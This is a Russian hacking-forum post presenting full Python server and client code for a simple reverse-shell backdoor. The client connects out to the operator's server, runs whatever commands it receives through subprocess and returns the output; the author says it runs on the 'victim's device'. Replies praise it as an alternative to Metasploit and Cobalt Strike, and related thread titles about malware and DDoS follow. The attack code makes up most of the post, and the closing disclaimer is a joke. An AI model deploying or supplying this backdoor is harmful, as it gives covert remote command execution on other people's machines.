Интересно Клинет-сервер на Python3 на примере бэкдора

Eteriass

Премиум
Привет ребятки. Вместе с природой очистилось и мое сознание, настолько, что я вспомнил пароль> А так как последняя тема вроде как была с бэкдором из метасплоита на питоне, мы сегодня воссоздадим этот самый бэкдор и глянем таки, шо у него внутри. Погнали
1640684936029


Для написания сего инструмента мы будем использовать блага стандартной библиотеки, а именно ՝ os, subprocess ну и socket разумеется. Как говорил один мой рыжий товарищ :
1640685059569

Файлов будет 2, клиентское и серверное приложение соответственно. Начнем с сервера

Python:
# Импортируем модуль для работы с сокетами

import socket

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "0.0.0.0" 
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket()  #Создаем экземпляр классa socket
s.bind((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу bind наш айпи и порт
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) #Повторное использование IP-адреса и порта
s.listen(5) #Начинаем слушать
print(f"Слушаем {SERVER_HOST}:{SERVER_PORT} ...")
client_socket, client_address = s.accept() #Принимаем подключение
print(f"{client_address[0]}:{client_address[1]} Connected!")
cwd = client_socket.recv(BUFFER_SIZE).decode()#Декодируем байтовую строку
print("Рабочий каталог :", cwd)

#Начинамем бесконечный цикл, в котором отправляем команду нашему клиенту, который находиться на устройстве жертвы
#Получаем вывод команды, декодируем и вывдоим, и так до тех пор, пока мы не ввели команду "exit"
while True:
    command = input(f"{cwd} $> ")
    if not command.strip():
        continue
    client_socket.send(command.encode())
    if command.lower() == "exit":
        break
    output = client_socket.recv(BUFFER_SIZE).decode('utf-8')
    print("Вывод :", output)
    results, cwd = output.split(SEPARATOR)
    print(results)

#Отключаем клиента и закрываем сокет
client_socket.close()
s.close()

И клиент:
Python:
# Импортируем модуль для работы с сокетами
# Модуль для работы с операционной системой
# Модуль для запуска процессов из питона
import socket
import os
import subprocess

#Объявляем несколько констант, они нам понадобяться попозже.
#Названия переменных говорят сами за себя. Наш айпи, порт, на котором мы ждем подключение
#размер буфера для входящих данных, ну и разделитель для метода split

SERVER_HOST = "localhost"
SERVER_PORT = 5003
BUFFER_SIZE = 1024 * 128
SEPARATOR = "---"

s = socket.socket() #Создаем экземпляр классa socket
s.connect((SERVER_HOST, SERVER_PORT)) #Кортежом передаем методу connect айпи и порт нашего сервера
cwd = os.getcwd() #Получаем адрес каталога, в котором находимся
s.send(cwd.encode()) #Отправляем адрес серверу


#Начинаем бесконечный цикл, в котором получаем команду от сервера и исполняем
while True:
    command = s.recv(BUFFER_SIZE).decode()
    #Разделяем команду по разделителю, который мы создали раньше
    splited_command = command.split(SEPARATOR)
    if command.lower() == "exit": #если получаенная команда, это "exit", выходим из цикла и закрываем подключение
        break
    if "cd " in command: #Если "слово" cd присутствует в нашей команде
        try:
            """
            Удаляем "cd"
            меняем каталог на тот, который указан в строке
            """
            directory = str(command).replace('cd ', '').strip()
            os.chdir(str(directory))
        except FileNotFoundError as e: #если файл не найден, передаем ошибку
            output = str(e)
        else:
            output = "" #Если ни один из исключений не произошел, переопределяем вывод в пустую строку
    else: #А если это не команда "cd", просто исполняем эту команду и возвращаем вывод
        output = subprocess.getoutput(command)
    cwd = os.getcwd() #Получаем рабочий каталог
    message = f"{output}{SEPARATOR}{cwd}" #Формируем наш ответ серверу
    s.send(message.encode()) #Отправляем

#Если цикл прерван, закрываем сокет
s.close()

Такс, ну щас попробуем, за неимением альтернативы, и злоумышленником и жертвой буду я сам, иии
1640689782979


Как видим команды выполняются, исполним еще несколько:
1640689822869

И, все как видим в порядке.

Такс, ну и что же мне пиздануть напоследок, хмм... Ну , во первых с вот-вот наступающим Новым Годом вас! Такая короткая статейка конечно так себе подарок, но и старик Чумной доктор это вам не Дед Мороз). Хочу... я много чего хочу, но конкретно сейчас, хочу пожелать вам счастья, здоровья и запасной печени, чтобы эти праздники **кхм** пережить...

P.s. Ну куда же мы без дисклеймера :)

На этом пожалуй все и не забывайте, что статья написана только для ознакомления, и вообще все это фотошоп, монтаж, бред, БДСМ и другие умные слова. А автор писал под диктовку высших сил, и в душе не ебет че только что произошло, вот. Через года два, дай Бог свидимся)

P.p.s Если лень переписывать, файлы найдете тут
 

Anorali

Премиум
Да ладно, оно живое, а я уж думал прошёл век, когда чумной был активным..
 

Anorali

Премиум
Наш ответ пендоским метасплоитам и кобальтам, слава Тимоше!
 
Похожие темы
Admin Статья Поднимаем личный VPN-сервер за 30 мин на своем VPS через Amnezia VPN Анонимность и приватность 0
Admin Статья Поднимаем свой XMPP сервер через i2p в 2025. Полезные статьи 0
Admin Интересно Открыл README — потерял сервер. В Anthropic хотели упростить жизнь разработчикам, но случайно дали взломщикам ключи от их систем. Новости в сети 0
Admin Интересно Права SYSTEM без пароля. В консоли Trend Micro нашли критическую дыру, позволяющую захватить сервер. Новости в сети 0
Admin Интересно Ваш сервер — их притон: как группа UAT-7290 сдает ваши сервера в аренду своим друзьям. Дорого. Новости в сети 0
Support81 Арендовал сервер — получил доступ ко всем. Российский эксперт нашел способ парализовать дата-центры, использующие Broadcom. Новости в сети 0
Support81 «Магический пакет» творит чудеса: как хакеры превратили Linux-сервер в невидимку Новости в сети 0
Support81 Один файл — и сгорел весь сервер: что случилось с American Megatrends Новости в сети 0
W Бесплатный сервер VPS за 5 минут Раздачи и сливы 2
Tania1212 Создал Discord сервер где будет моя музыка … Видео/Музыка 1
АнАлЬнАя ЧуПаКаБрА INLINE GTA 5 Чекер на rp сервер Готовый софт 0
Admin Дамп mc-magicstore.ru (Русский minecraft сервер) Раздачи и сливы 0
A Взломали архивный сервер Pale Moon Новости в сети 0
K Можно ли взломать сервер… Свободное общение 6
T Open Server - портативный локальный сервер Программирование 0
K Как настроить почтовый сервер для обхода спам-фильтров: руководство по DNS, SPF, DKIM Уязвимости и взлом 0
V Как поднять dns-сервер Полезные статьи 1
G Загрузка shell в WEB-сервер. PhpMyAdmin Уязвимости и взлом 0
G XAMPP - Web-сервер Полезные статьи 0
S Как делать DDos/Dos атаки через VDS сервер Готовый софт 0
I За сколько сольете мне DB Майнкрафт сайта(рашин сервер)) Полезные статьи 0
Admin Хакеры взломали dns-сервер сервиса blackwallet и похитили $400 тыс. в криптовалюте Новости в сети 0
Allen Запускаем собственный VPN-сервер на SSD VDS Полезные статьи 0
K Как взломать сервер андроид приложения? Свободное общение 3
K Как открыть CS 1.6 сервер ? Свободное общение 1
S Чекер базы на паблик и отправка привата на сервер Свободное общение 6
Admin Интересно «Верните деньги, или мы идём в полицию». CrossCurve дала похитителям ровно 72 часа на возврат крипты. Новости в сети 0
Admin Интересно Читы, локеры и 110 заблокированных доменов. Группировка NyashTeam прячется за вывеской «Легиона» и продолжает охоту на геймеров. Новости в сети 0
Admin Статья Нетипичная змея. Реверсим приложение на Python c кастомным интерпретатором Вирусология 0
Admin Статья Пишем свой простейший дроппер на плюсах Вирусология 0
Admin Статья Пишем свой лоадер на плюсах - теория Вирусология 0
Admin Интересно Второй раз — это уже традиция. Антивирус eScan снова поймали на «сотрудничестве» с хакерами. Новости в сети 0
Admin Интересно Хакер думал, что украл пароль, а на самом деле – позвонил в полицию. На GitHub учат, как развести взломщика на эмоции (и логи). Новости в сети 0
Admin Интересно Четверть биткоина за «квантовые мозги». Рассказываем, как поднять крипту на знании физики. Новости в сети 0
Admin Интересно DynoWiper против польского света. Рассказываем историю самой мощной хакерской атаки на инфраструктуру страны за последние годы. Новости в сети 0
Admin Интересно Apple и OpenAI создают ИИ-жучки — микрофоны и камеры на теле будут слушать и снимать вас 24/7. Новости в сети 0
Admin Интересно Кликнули на файл «Задание_для_бухгалтера.txt»? Поздравляем — троян-шпион уже ворует ваши пароли. Новости в сети 0
Admin Статья Как на основе ФИО, даты рождения и района получить номер паспорта и ИНН. OSINT 0
Admin Разделение почты на Python по доменам Скрипты 0
Admin Интересно «Отдай мастер-пароль, или всё удалим!». Как хакеры берут на мушку пользователей LastPass. Новости в сети 0
Admin Статья Стеганография на примере Steghide Полезные статьи 0
Admin Интересно Ретро-хакинг на максималках. Почему ваша корпоративная сеть до сих пор думает, что на дворе девяностые. Новости в сети 0
Admin Статья Разработка малвари на С++. Глава II Вирусология 0
Admin Статья Разработка малвари на С++. Глава 1. Вирусология 0
Admin Статья Обход пароля на iphone Уязвимости и взлом 0
Admin Статья DDoS на Bluetooth. Разбираем трюк, который поможет отключить чужую колонку Полезные статьи 0
Admin Статья Взлом wi-fi на легке Полезные статьи 0
Admin Статья Полное Руководство по Google Dorks: Говорим с Поисковиком на Его Языке OSINT 0
Admin Интересно «Ваш пароль истекает» (на самом деле нет). Microsoft объясняет, почему нельзя верить даже письмам от собственного HR. Новости в сети 0
Admin Интересно Эксплойт уже на GitHub. Главная система защиты Cisco снова пробита. Новости в сети 0

Название темы